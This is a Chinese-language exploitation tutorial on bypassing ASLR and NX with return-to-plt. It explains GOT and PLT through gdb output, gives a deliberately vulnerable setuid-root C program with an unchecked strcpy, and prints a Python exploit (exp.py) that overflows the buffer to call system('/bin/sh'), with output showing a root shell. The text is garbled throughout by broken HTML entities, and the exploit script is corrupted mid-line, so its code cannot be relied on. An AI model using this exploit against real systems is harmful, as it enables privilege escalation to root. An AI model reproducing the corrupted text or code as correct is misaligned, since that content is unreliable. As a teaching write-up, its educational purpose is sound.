前提条件&＃xff1a;
经典的基于堆栈的缓冲区溢出
虚拟机安装&＃xff1a;Ubuntu 12.04(x86)
在以前的帖子中&＃xff0c;我们看到了攻击者需要知道下面两样事情
堆栈地址(跳转到shellcode)
libc基地址(成功绕过NX bit)
为了利用漏洞代码。 为了阻止攻击者的行为&＃xff0c;安全研究人员提出了一个称为“ASLR”的漏洞利用。
什么是 ASLR?
地址空间布局随机化(ASLR)是随机化的利用缓解技术:
堆栈地址
堆地址
共享库地址
一旦上述地址被随机化&＃xff0c;特别是当共享库地址被随机化时&＃xff0c;我们采取的绕过NX bit的方法不会生效&＃xff0c;因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的&＃xff0c;因此在这篇文章中我们可以看到如何绕过共享库地址随机化&＃xff01;
我们已经知道从前一篇文章的exp.py libc函数地址计算如下&＃xff1a;
libc function address &＃61; libc base address &＃43; function offset
其中
因为随机化被关闭&＃xff0c;所以libc基址是常量(0xb7e22000 - 对于我们的“vuln”二进制文件)。
函数偏移也是不变的(从“readelf -s libc.so.6 | grep”获得)
现在当我们打开完全随机化(使用下面的命令)#echo 2 > /proc/sys/kernel/randomize_va_space
libc基地址将被随机化。
注意&＃xff1a;只有libc基地址是随机的&＃xff0c;特定功能的偏移与其基地址始终保持不变&＃xff01;因此&＃xff0c;如果我们可以绕过共享库基地址随机化&＃xff0c;即使打开ASLR&＃xff0c;也可以成功利用易受攻击的程序(使用三种技术)。
Return-to-plt (这章)
Brute force (第二部分)
GOT overwrite and GOT dereference (第三部分)
什么是return-to-plt?
在这种技术中&＃xff0c;而不是返回到libc函数(其地址是随机的)攻击者返回到一个函数的PLT(其地址不是随机的-其地址在执行之前已知)。由于&＃39;function&＃64;PLT&＃39;不是随机的&＃xff0c;所以攻击者不再需要预测libc的基地址&＃xff0c;而是可以简单地返回到“function&＃64;PLT”来调用“function”。
什么是PLT&＃xff0c;如何通过调用“function&＃64;PLT”来调用“函数”&＃xff1f;
要了解过程链接表(PLT)&＃xff0c;先让我简要介绍一下共享库&＃xff01;
与静态库不同&＃xff0c;共享库代码段在多个进程之间共享&＃xff0c;而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享&＃xff0c;所以应该只有read和execute权限&＃xff0c;因此动态链接器不能重新定位代码段中存在的数据符号或函数地址(因为它没有写权限)。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成&＃xff01;
什么是PIC&＃xff1f;
位置无关代码(PIC)是为了解决这个问题而开发的 - 它确保共享库代码段在多个进程之间共享&＃xff0c;尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用&＃xff0c;而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此&＃xff0c;只有重定位数据段被修改&＃xff0c;代码段保持不变&＃xff01;
动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数&＃xff0c;如下所述&＃xff1a;
全局偏移表(GOT)&＃xff1a;
全局偏移表包含每个全局变量的4字节条目&＃xff0c;其中4字节条目包含全局变量的地址。当代码段中的指令引用全局变量时&＃xff0c;而不是全局变量的绝对虚拟地址&＃xff0c;指令指向GOT中条目。当加载共享库时&＃xff0c;GOT条目由动态链接器重新定位。因此&＃xff0c;PIC使用该表来重新定位具有单个间接级别的全局符号。
过程链接表(PLT)&＃xff1a; 过程链接表包含每个全局函数的存根代码。代码段中的调用指令不直接调用函数(&＃39;function&＃39;)&＃xff0c;而是调用存根代码(function &＃64; PLT)。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT(GOT [n])。这次解析仅在函数(&＃39;function&＃39;)的第一次调用期间发生&＃xff0c;稍后当代码段中的调用指令调用存根代码(function &＃64;PLT)时&＃xff0c;而不是调用动态链接器来解析函数地址(&＃39;function&＃39;)存根代码直接从GOT(GOT [n])获取功能地址并跳转到它。因此&＃xff0c;PIC使用这个表来重新定位具有两级间接的功能地址。
很好&＃xff0c;你阅读了关于PIC的内容&＃xff0c;并了解了它有助于保持共享库代码段的完整&＃xff0c;因此它有助于共享库代码段在许多进程之间真正的共享&＃xff01;但是你有没有想过&＃xff0c;为什么当它不共享任何进程时&＃xff0c;在可执行文件的代码段需要有一个GOT 条目或PLT存根代码&＃xff1f;它的安全保护机制。现在默认情况下&＃xff0c;代码段只能被赋予读取和执行权限&＃xff0c;没有写入权限(R_X)。这种安全保护机制甚至不允许动态链接器写入代码段&＃xff0c;因此它不能重新定位代码段中发现的数据符号或函数地址。因此&＃xff0c;为了允许动态链接器重定位&＃xff0c;可执行文件也需要GOT 条目和PLT存根代码&＃xff0c;就像共享库一样&＃xff01;
实例&＃xff1a;//eg.c
//$gcc -g -o eg eg.c
#include
int main(int argc, char* argv[]) {
printf("Hello %s\n", argv[1]);
return 0;
}
下面的反汇编显示&＃xff0c;我们不会直接调用&＃39;printf&＃39;&＃xff0c;而是调用相应的PLT代码&＃39;printf&＃64;PLT&＃39;。(gdb) disassemble main
Dump of assembler code for function main:
0x080483e4 : push %ebp
0x080483e5 : mov %esp,%ebp
0x080483e7 : and $0xfffffff0,%esp
0x080483ea : sub $0x10,%esp
0x080483ed : mov 0xc(%ebp),%eax
0x080483f0 : add $0x4,%eax
0x080483f3 : mov (%eax),%edx
0x080483f5 : mov $0x80484e0,%eax
0x080483fa : mov %edx,0x4(%esp)
0x080483fe : mov %eax,(%esp)
0x08048401 : call 0x8048300
0x08048406 : mov $0x0,%eax
0x0804840b : leave
0x0804840c : ret
End of assembler dump.
(gdb) disassemble 0x8048300
Dump of assembler code for function printf&＃64;plt:
0x08048300 : jmp *0x804a000
0x08048306 : push $0x0
0x0804830b : jmp 0x80482f0
End of assembler dump.
(gdb)
在printf第一次调用之前&＃xff0c;其相应的GOT条目(0x804a000)指针将返回到PLT代码(0x8048306)。因此&＃xff0c;当第一次调用printf函数时&＃xff0c;其对应的函数地址将在动态链接器的帮助下得到解决。(gdb) x/1xw 0x804a000
0x804a000 : 0x08048306
(gdb)
现在在printf的调用之后&＃xff0c;其相应的GOT条目包含printf函数地址(如下所示):(gdb) x/1xw 0x804a000
0x804a000 : 0xb7e6e850
(gdb)
注1&＃xff1a;如果你想知道更多的PLT和GOT&＃xff0c;请看这个博客的文章&＃xff01;
注2&＃xff1a;在另一篇文章中&＃xff0c;我将详细介绍如何在动态链接器的帮助下动态解析libc函数地址。到目前为止&＃xff0c;只要记住下面两个语句(printf&＃64;PLT的一部分)负责函数地址解析&＃xff01;0x08048306 : push $0x0
0x0804830b : jmp 0x80482f0
现在有了这些知识&＃xff0c;我们知道攻击者不需要精确的libc函数地址来调用libc函数&＃xff0c;可以使用&＃39;function&＃64;PLT&＃39;地址(在执行之前知道)来简单地调用它。
漏洞代码&＃xff1a;#include
#include
/* Eventhough shell() function isnt invoked directly, its needed here since &＃39;system&＃64;PLT&＃39; and &＃39;exit&＃64;PLT&＃39; stub code should be present in executable to successfully exploit it. */
void shell() {
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i&＃61;0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}
编译命令&＃xff1a;#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod &＃43;s vuln
现在反汇编可执行文件&＃39;vuln&＃39;&＃xff0c;我们可以找到‘system&＃64;PLT’和 ‘exit&＃64;PLT’的地址。(gdb) disassemble shell
Dump of assembler code for function shell:
0x08048474 : push %ebp
0x08048475 : mov %esp,%ebp
0x08048477 : sub $0x18,%esp
0x0804847a : movl $0x80485a0,(%esp)
0x08048481 : call 0x8048380
0x08048486 : movl $0x0,(%esp)
0x0804848d : call 0x80483a0
End of assembler dump.
(gdb)
使用这些地址我们可以写一个绕过ASLR(和NX bit)的漏洞利用代码&＃xff01;
利用代码&＃xff1a;#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
system &＃61; 0x8048380
exit &＃61; 0x80483a0
system_arg &＃61; 0x80485b5 #Obtained from hexdump output of executable &＃39;vuln&＃39;
#endianess convertion
def conv(num):
return struct.pack("ystem &＃43; exit &＃43; system_arg
buf &＃61; "A" * 272
buf &＃43;&＃61; conv(system)
buf &＃43;&＃61; conv(exit)
buf &＃43;&＃61; conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])
执行上面的exploit程序给我们root shell&＃xff0c;如下所示&＃xff1a;$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&＃xfffd;&＃xfffd;&＃xfffd;&＃xfffd;&＃xfffd;&＃xfffd;
# id
uid&＃61;1000(sploitfun) gid&＃61;1000(sploitfun) euid&＃61;0(root) egid&＃61;0(root) groups&＃61;0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
注意&＃xff1a;为了获得这个root shell&＃xff0c;可执行文件应包含&＃39;system&＃64;PLT&＃39;和&＃39;exit&＃64;PLT&＃39;代码。在第三部分中&＃xff0c;我将讨论GOT覆盖和GOT解引用技术&＃xff0c;即使在可执行文件中不存在必需的PLT存根代码&＃xff0c;并且当ASLR被打开时&＃xff0c;也可以帮助攻击者调用libc函数。
京公网安备 11010802041100号